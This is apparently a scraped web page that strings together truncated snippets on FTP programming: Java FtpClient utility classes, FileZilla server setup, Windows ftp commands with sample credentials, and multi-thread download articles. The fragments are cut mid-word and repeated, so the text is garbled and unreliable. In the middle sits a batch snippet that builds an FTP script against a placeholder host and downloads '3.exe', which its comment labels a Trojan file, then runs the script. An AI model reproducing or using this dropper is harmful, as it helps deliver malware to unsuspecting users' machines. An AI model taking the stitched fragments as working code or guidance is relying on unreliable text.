Design and Implementation of multi-thread FTP download
National Defense University of Science and Technology Microsoft Club FTP protocol IntroductionFile Transfer Protocol (FTP) is a File Transfer Protocol used to manage file transfer bet
Project Download Address: http://download.csdn.net/download/ljj2312/10187480
Engineering structure: (used in the project, supporting the Chinese file name, pro-Test ok!)
Need to download the three jar packages above
FTP Tools class:
Package cn.ftp.util;
Import Java.io.BufferedOutputStream;
Import Java.io.ByteArrayInp
This example for you to share the two Java ftp file upload to download the way for you to refer to, the specific content as follows
The first way:
Package com.cloudpower.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Sun.net.TelnetInputStream;
Import Sun.net.TelnetOutputStream;
Import sun.net.ftp.FtpClient; /** * Java-br
.
Transfer complete.
21707 bytes sent in 0.0014 seconds (1.5e+04 kbytes/s)
Ftp> LS--Displays the files in the directory
Entering passive Mode (10,85,7,97,16,217)
Opening ASCII mode data connection For/bin/ls.
Drw-rw-rw-1 User Group 0 Aug 17 17:22.
Drw-rw-rw-1 User Group 0 Aug 17 17:22.
-rw-rw-rw-1 User Group 5 Aug 17:09 SFDBA
-rw-rw-rw-1 User Group 712 Aug 17:21 Alert_log.txt
-rw-rw-rw-1 user group 9321666 Aug 17:21 alert_newccs.hist
-rw-rw-rw-1 user
1. Connection First assume an FTP address user name password FTP server:192.168.1.125 User:administrator Password:abc123 2. Open the Windows Start menu, execute "Run" command, enter FTP in the dialog box, press "OK" button will switch to DOS window, a command prompt appears ftp> Type the command to connect to the
Design and implementation of FTP multi-threaded download
National Defense Science and Technology University Microsoft Club Introduction to the FTP protocolFile TRANSFER PROTOCOL (FTP) is a document transfer protocol that manages file t
The benefits of FTP downloads I'm not going to say much here, but many projects will be implemented as an important feature of FTP downloads. The WinInet classes offered by Microsoft can take advantage of the following functions: InternetOpen; internetconnect; getcurrentdirectory; setcurrentdirectory; ftpgetfile; Easy to achieve FTP
Some data exchange needs to be completed through FTP. For FTP clients, Java provides us with powerful class libraries. Common examples include sun.net. FTP. ftpclient and org.apache.commons.net. FTP. ftpclient (provided by Apach ). Both of them are quite useful. In comparison, the latter has better functions. Sun.net.
Altogether three classes, a tool class Ftputil., an entity class Kmconfig. A test class
Download Address: http://download.csdn.net/detail/myfmyfmyfmyf/6697107
Ftputil class---------------
Package Ftpdemo;
Import Java.io.DataOutputStream;
Import Java.io.InputStream;
Import Java.io.OutputStream;
Import Sun.net.TelnetInputStream;
Import Sun.net.TelnetOutputStream;
Import sun.net.ftp.FtpClient; public class Ftputil {//upload file to
For more detailed information, please see below:
Using an FTP server is a good choice for applications that use files for interactive data. This article uses Apache Jakarta Commons Net (Commons-net-3.3.jar) to implement an upload/download/delete of files on an FTP server based on FileZilla server servers.
For more detailed configuration procedures for FileZilla
@ Echo open www.xxx.com> 1.txt "// change open 237927142.vicp.net to your FTP Space@ Echo 123> 1.txt "// FTP space user@ Echo 123> 1.txt "// FTP space Password@ Echo get 3.exe>> 1.txt "// Trojan file name to be downloaded@ Echo bye> 1.txt "// exit the FTP Space@ FTP-S: 1.txt
Download the latest package from commons-net and introduce it into the project.
The following is the relevant example code:
Package com.ffcs.icity.common.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import java.io.FileNotFoundException;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Java.io.InputStream;
Import Java.io.OutputStream;
Import org.apache.commons.net.ftp.FTPClient;
Import Org.apache.commons.net.ftp.FTPFi
change.The following is to introduce the second method, the second method is relatively simple, is to use already ready-made filezillaserver this software, the software is small and practical, a total of 2 m, on the Baidu search download and install Open is good basically all with the default settings is enough12. Open after this interface, we use the local address, the port where the default 14147 is good, in fact, or 21, to modify the port, the fir
(hostname, port);
Login to FTP server Ftpclient.login (username, password);
Verify that the FTP server is logged on successfully int replycode = Ftpclient.getreplycode (); if (!
Ftpreply.ispositivecompletion (Replycode)) {return flag; }//Toggle FTP directory Ftpclient.changeworkingdirectory (PathnaME);
Ftpclient.dele (filename);
Ftp
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.